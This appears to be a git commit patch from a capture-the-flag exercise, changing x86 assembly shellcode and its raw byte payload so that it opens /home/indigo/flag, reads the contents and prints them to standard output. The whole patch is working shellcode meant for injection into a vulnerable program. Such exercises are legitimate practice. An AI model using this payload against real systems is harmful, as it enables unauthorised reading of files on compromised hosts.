From fde539741a42a29e39cc25d34b95e34978fe902c Mon Sep 17 00:00:00 2001 From: Brett Weiland Date: Tue, 27 Oct 2020 05:43:37 -0500 Subject: modified: fread modified: fread.asm modified: fread.o modified: payload --- fread | Bin 4272 -> 4296 bytes fread.asm | 15 +++++++++++++-- fread.o | Bin 512 -> 528 bytes payload | 2 +- 4 files changed, 14 insertions(+), 3 deletions(-) diff --git a/fread b/fread index 0b9e19e..ce7de5b 100755 Binary files a/fread and b/fread differ diff --git a/fread.asm b/fread.asm index 358cc93..d02753a 100644 --- a/fread.asm +++ b/fread.asm @@ -14,12 +14,23 @@ int 0x80 ;eax now contains our file descriptor. +mov ebx, eax mov al, 3 ;sys_read -mov ebx, esp ;I think? -mov cl, 0xff ;eh, random guess I guess +mov ecx, esp ;I think? +xor edx, edx +mov dl, 0xff ;eh, random guess I guess int 0x80 +mov al, 4 +xor ebx, ebx +mov bl, 1 +mov ecx, esp +;dl stays the same +int 0x80 + + + data: call str_found db "/home/indigo/flag" diff --git a/fread.o b/fread.o index 00717e4..e50ec8d 100644 Binary files a/fread.o and b/fread.o differ diff --git a/payload b/payload index 9196c98..f73c1e9 100755 --- a/payload +++ b/payload @@ -1 +1 @@ -ë1À°1É1Ò[‰KÍ€èíÿÿÿ/home/indigo/flag \ No newline at end of file +ë$1À°1É1Ò[‰KÍ€‰Ã°‰á1Ò²ÿÍ€°1Û³‰áÍ€è×ÿÿÿ/home/indigo/flag \ No newline at end of file -- cgit v1.2.3